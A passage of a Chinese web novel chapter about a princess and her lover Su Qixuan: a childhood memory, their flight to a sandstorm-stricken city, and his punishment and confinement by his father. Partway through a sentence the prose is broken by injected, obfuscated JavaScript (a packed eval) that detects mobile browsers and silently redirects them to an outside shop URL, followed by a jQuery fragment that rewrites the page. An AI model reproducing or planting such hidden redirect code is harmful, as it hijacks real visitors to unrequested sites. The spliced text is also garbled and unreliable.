九岁那年秋天八月,宋宿安带着刘嬷嬷做的桂花酥到学堂,她早就打听清楚苏其轩喜欢吃什么,特地嘱咐刘嬷嬷做的好看精致些。
苏梯池正在前面讲学,整个学堂皆是肃静,唯独靠窗那边藏着什么。
宋宿安揣着用油纸裹好的桂花酥,趁人不注意,悄悄往身后端坐着的苏其轩桌旁挪了挪。
她素来调皮,玩性大,自小闲不住,非要拉着苏其轩与自己一起吃。
其实几乎每日她都会变着花样让苏其轩陪自己吃零嘴,只是每次都被狠心拒绝。
但她从不放弃。
她小声回头,将桂花酥放在他桌角,眉眼弯起,一双桃花眼顿时像月牙一样,她压着嗓音,软着声音说:“快尝尝,刘嬷嬷做的桂花酥,我就只有两个,一人一个,别人都没有。”
苏其轩冷眼扫过那块桂花酥,很是精致。
不过他素来恪守规矩,本想着拒绝,耐不住面前的人瞪着两只水汪汪的眼睛,眼睛有些红,感觉要是拒绝了必会哭出来的样子,让苏其轩不禁一顿。
宋宿安看到苏其轩这样,心中暗想,他果然吃这套。
见状便有些肆无忌惮地摆着表情,小声说着:“这桂花酥可是废了好多劲才做出来的,我特意拿给你的,你就尝一下吧,一口就好。”
拗不过她再三拉扯,最终还是无奈地点头应下,拿起桂花酥小口抿了一下。
这味道的确不输李兒的手艺,清甜的桂香,甜而不腻。
宋宿安见他肯吃,眼底只剩下笑意。
苏梯池目光扫来,看到宋宿安趴在苏其轩桌子上,而苏其轩正有些迟疑地看着手上的那块糕点,他锁着眉,咳嗽一声。
宋宿安经常回头看苏其轩,苏梯池曾嘱咐过很多遍后无果,他干脆便懒得管。
但今日苏其轩接受了,做出违背学堂规矩之事,这要是让宫中其他人发现,定会传来谣言。
他必须惩戒。
苏其轩察觉到苏梯池的眼神,二人对视一眼,苏其轩意识到自己越界,放下糕点,站起来,行个礼便出去罚站了。
宋宿安反应过来,回头看到苏梯池表情严肃,立马收笑:“我也去罚站了,老师。”
苏梯池点头没多说话。
就这样两个人站在学堂门外,宋宿安渐渐朝他靠近,留了点距离。
她小心翼翼地观察着苏其轩的表情,不知道有没有生自己气。
两个人谁都没再说话。
最后宋宿安还是耐不住性子,小声道歉:“对不起。”
苏其轩有些意外的看向她。
她低头看着地,有些不好意思地说着:“要是我不逼你吃,便不会受罚。对不起,是我害了你。我以后不会这样了。”
宋宿安在宫中性子是数一数二的野,如今这一面到是从未见过。
也许就是在这一刻,苏其轩看见了宋宿安不同的一面。
宋宿安回想着那时的记忆,抬头看着苏其轩:“你是在那时动心的?”
苏其轩摇头:“不算。但确实是那一次,让我想更了解你。”
宋宿安噘噘嘴:“这不是还是没说你何时心悦的?”
“心动哪有准确的点?”苏其轩被面前宋宿安不服气地样子逗笑,“或许是后来慢慢相处,才让我渐渐确认,我心悦于你。”
“我还以为你一直都讨厌我呢。”宋宿安说到这有些委屈。
苏其轩满脸疑惑:“为何会这样想?”
“因为你总是冷冰冰地看着我,每次见我都和我保持距离就算了,说话也不说几句,更别说笑了。”宋宿安一边说着,一边模仿着他以往的表情,冷着脸,一脸正经的样子,“就这样。”
苏其轩憋着笑摇头不知道该怎么解释:“我……”
“每次见你都一脸正经,好像谁都是你仇人一般。每次与你说话,我都怕你生气。”宋宿安越说越小声委屈,“你这张脸,不做表情时,真的很难看出到底有没有生气。”
宋宿安不知,苏其轩每次见她都是刻意保持距离,生怕因为自己让她被传谣言。
他不能越界。
他没有反驳,只是小声地说:“以后不会了。”
宋宿安就这样躺在他怀里,已经在想他们的以后。
母妃离世,她从来不知齐如悦的真实身份,对那时的她来说,她已经没有可依靠的亲人,只有苏其轩。
她接过苏其轩一直举着的香囊:“好闻,我也想要一个。”
“好,等到了下一个地方,我给你做一个。”
宋宿安摇头:“我要这个就好。”
那个已经带了很久,气味有些淡了。
苏其轩本想再说什么,但看她有些撒娇的看着自己,最终还是点了头。
马车就这样停停歇歇地跑了六日,才到落雁城。
想必这几日京城应是已经传开了公主逃宫之事,在落雁城到没看到什么宣告。
宋宿安蒙着面紧跟着苏其轩身后,进城用的假造通关文牒,只是一进来城中连个人都没有,只有满地的风沙。
这风沙扑面呛得人睁不开眼。
方才在城门外便感觉这附近风沙太多,一进城更甚。
一群人好不容易找到个还开着的客栈,客栈几乎没有什么生意,甚至被风吹得有些破旧,苏其轩蒙着面问掌柜这究竟是发生何事。
掌柜是一个老头,他咳嗽几声,满脸无奈地叹气说着:“最近一直有风霾,整个城都快被沙子淹没。最近生意难做,连吃喝都快成问题了。”
宋宿安眉心浅浅向内收拢,脸上带着担忧:“那城主可有向朝廷反应?”
掌柜摇头,他不知道。
但据他描述,总结就是,落雁城城主是个贪官。
苏其轩一到屋子便担忧着,若是这风霾一直持续下去,定会闹起饥荒。
不厘定是不行。
如今城中百姓难以出门,更别说耕田养家糊口了。
“此事恐怕要先从那城主下手。”宋宿安也在想着办法,“连百姓都知道城主是个贪官,而朝廷却一直不派人处置,是朝廷的失职。”
苏其轩点头。
“要不我们先在这里呆几日,待到有政令后再走可好?”宋宿安看向皱着眉的苏其轩。
“你想帮他们?”
宋宿安点头,一脸认真:“毕竟我是公主……”她说道这忽然又没了底气,忘记自己不是皇族血脉,她又改口,“毕竟以前也算是朝廷的人,总不能见死不救。”
宋宿安致命的弱点就是心软。
这一点早就被苏其轩看透,在他看来,公主心系百姓,才是朝廷最难得的品质。
在他心里,她永远是最适合做公主的人。
“我来想办法。”苏其轩说着。
既然她想帮,那就帮。
“你身上可有令牌?”苏其轩问道。
宋宿安拿出齐如悦给准备的铜牌,可随时出入皇城所用,足以证明自己身份特殊。
“这个还是不要露出比较好。藏好,莫要被这里的人看到。”
也对,一拿出便知道自己和朝廷有关,很容易被怀疑。
“我写信与父亲说明此事,让他先与朝廷说明,这样能更快些。”苏其轩拿着准备好的笔墨,看了眼在一旁整理包裹的宋宿安,不知道在想什么。
他写了三封信。
一封是关于落雁城,一封是家书,另一个则是写给朝廷的。
只是后两封信宋宿安并不知情。
后来才知道,苏其轩早已替苏家想好了后路,他与家族断绝关系,又将辞呈递给朝廷。
一切他都筹谋好了。
唯独忘记他自己。
他将所有事都揽在自己身上。
即使被苏家人找到,带回京城,关了禁闭,他也从未说过宋宿安在哪。
宋宿安不知,她想帮助百姓,代价会有多大。
为落雁城处理掉一个贪官,身份就会被怀疑,写信寄往京城,便会暴露位置。
可这期间苏其轩只字未提她一句。
苏其轩被关在府中,苏梯池与李兒自是不忍的,但没办法,不能让他这般不计后果下去。
“你可知错。”在苏其轩刚被抓回来时,便苏梯池拿着鞭子抽了好几下,看着已经被打的背后血淋淋的苏其轩。
苏其轩没有任何表情地跪在祠堂前,面色发白,咬着牙不说话。
苏梯池气得又打了几下:“想要违背天子,此乃大忌!你可知错!”
“我没错,我只是想护着她。”他咬牙说着。
“逆子!看来是我往日太过纵容,才使你这般沦陷。”苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634010|206500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
梯池从未发过这么大的火,就连苏荟都有些害怕。
“父亲打也打,骂也骂了。若还想做什么,就快些做。”
“你想为了一个女人抛弃苏家吗?”苏荟看苏梯池快被气晕,便替父亲开口,“兄长,这值得吗?”
“父亲,是儿子不孝,无脸在称自己为苏家长子。所以,请求父亲,将我逐出苏家。”
苏其轩跪着磕个头,是铁了心要走。
“你说什么?”
李兒在门外听到这句,也不顾苏荟拦着自己,直接冲进来:“儿啊,你当真要做到此地步?”
“兄长,你疯了吗?”
苏荟也不懂,昔日里的兄长做事稳妥,可如今在自己面前的人,若判二人。
“快认错。”苏荟蹲下来,看着自己兄长浑身是伤,想要扶他认错。
苏其轩始终不起。
“你何必做到如此地步?”李兒流着泪,她心疼儿子,也重新认识了那个原本乖巧懂事,孝顺的儿子。
苏梯池气得瘫坐在地上,苏荟也没想到苏其轩这次会如此倔,既然兄长这里说不通,那就只能求父亲,苏荟马上也跪下来:“父亲,兄长都如此了,您便答应吧。您与圣上说明,圣上也许会再重新考虑公主的亲事。”
可以说,这是苏其轩长这么大来,第一次做出如此违背父母意愿之事,也是最后一次。
当年不是苏家不想帮,而是不能帮。
宋史早已有意将苏其轩许配给十三公主做驸马,想借此提拔苏家。
若苏梯池去朝廷反对,苏家只会成为眼中钉,别说帮宋宿安,就连苏其轩都救不了。
就这样苏其轩一直被关在自己屋里。
苏荟总是相信自己兄长一定能做好任何事。
苏其轩平日里很宠苏荟,苏荟总是忍不住跑到被锁着的门前与苏其轩说话。
“阿荟,你有办法打开门吗?”苏其轩在屋内问着外面的苏荟。
苏荟看着锁,整个屋子门窗几乎都上了锁,夏日闷热,但屋子里却有冰桶。
她想着办法:“兄长,你真的想出来吗?”
“嗯。她需要我。”苏其轩看着手上的发簪,这个是之前准备很久的生辰里,他一直没送出去。
发簪不能随便送给姑娘。
“我不能让她一个人面对。”苏其轩摸着发簪上的芍药花,这个发簪是他自己亲手刻的。
芍药是定情花,这是他的心意。
“那你有把握吗?”苏荟再问。
这次苏其轩沉默,他没有把握。
但为了她,他只能去试:“我必须去。”
苏荟听到后,叹气自顾自地抱怨:“又要被父亲说了。”
最后苏荟还是将他放出。
这件事也让苏荟后悔了一辈子。
那时的他们都太年轻,认为只要爱彼此,就能克服一切。
彼此相爱,便是后盾。
在苏其轩消失后,宋宿安不放心,于是又回到临安然城。
只是她从未出去过,一直躲在一个破旧的屋子里。
都是齐如悦在外面打听消息。
苏其轩找到宋宿安时,她正在躲避追兵。
宋宿安全然不知,刘嬷嬷一直都是宋史安排的人。
刘嬷嬷通风报信,暴露了宋宿安所在的地方。
人也不见踪影。
……
宋墨潇听着这段故事,只觉得有些意外。
意外的是宋宿安原本的性子竟是那般样子,而在他的印象中,宋宿安很少说话,甚至可以用“沉稳”来形容都毫不违和。
齐如悦越说,表情越凝重:“是因为他,才让公主变了。”
宋奇威在一旁听的内心毫无波澜,这段长公主不为人知的爱情故事,他不懂。
不懂为何一个人愿意为了另一人放弃一切。
“那后来呢?为何会和圣上有关?”宋墨潇想到之前在潘涂沈辞小声与傅兮柠说的事,皇宫中几乎都被封了嘴,“圣上为何不允许旁人提起此事?”
“圣上杀了他?”宋墨潇挑了下眉毛,他到是越来越好奇,圣上的秘密到底是什么。
“是。”齐如悦说话语气越来越重,“是圣上射的箭,害死了苏公子。”
这本是一场意外,却让很多人都变了。